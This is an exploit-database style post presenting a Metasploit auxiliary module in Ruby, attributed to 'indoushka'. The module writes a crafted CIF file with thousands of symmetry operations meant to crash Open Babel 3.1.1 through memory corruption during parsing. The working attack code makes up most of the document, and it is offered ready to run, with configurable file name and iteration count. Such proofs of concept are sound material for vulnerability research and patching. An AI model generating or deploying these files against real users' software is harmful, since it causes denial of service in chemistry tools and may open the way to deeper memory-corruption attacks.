============================================================================================================================================= | # Title : Open Babel 3.1.1 CIF File Memory Corruption PoC Metasploit Auxiliary Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://openbabel.org/index.html | ============================================================================================================================================= [+] Summary : This Metasploit auxiliary module generates a crafted .cif file designed to test for memory corruption conditions in Open Babel 3.1.1. By providing an excessive number of symmetry operations, it triggers a crash (DoS) during file parsing. The exact outcome depends on the target’s build, compiler settings, and memory allocator. The module includes configurable parameters for file name and iteration count, with safe upper limits to prevent framework instability. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Open Babel 3.1.1 CIF File Parsing Memory Corruption PoC', 'Description' => %q{ This module generates a crafted .cif file designed to test for memory corruption conditions in Open Babel 3.1.1. By providing an excessive number of symmetry operations, the module attempts to trigger a crash during the parsing process. The outcome may vary significantly depending on the target's build configuration, compiler optimizations, and memory allocator. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' ], 'References' => [ [ 'URL', 'https://github.com/openbabel/openbabel/issues' ] ], 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE ], 'SideEffects' => [ IOC_IN_LOGS ] } )) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'test_case.cif']), OptInt.new('ITERATIONS', [ true, 'Number of symmetry operations (Limit: 1-5000)', 500]) ]) end def check CheckCode::Unknown end def run count = datastore['ITERATIONS'] if count <= 0 print_error("ITERATIONS must be a positive integer. Setting to default (500).") count = 500 elsif count > 5000 print_warning("ITERATIONS exceeds the safe limit of 5000. Capping for stability.") count = 5000 end symops_array = Array.new(count) do |i| "'#{i + 1}*x, #{i + 1}*y, #{i + 1}*z'" end symops = symops_array.join("\n") cif_payload = <<~EOF data_OPEN_BABEL_TEST _cell_length_a 10.0 _cell_length_b 10.0 _cell_length_c 10.0 _cell_angle_alpha 90.0 _cell_angle_beta 90.0 _cell_angle_gamma 90.0 loop_ _space_group_symop_operation_xyz #{symops} EOF print_status("Generating PoC file: #{datastore['FILENAME']} with #{count} iterations...") file_create(cif_payload) print_good("PoC file generated successfully.") end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================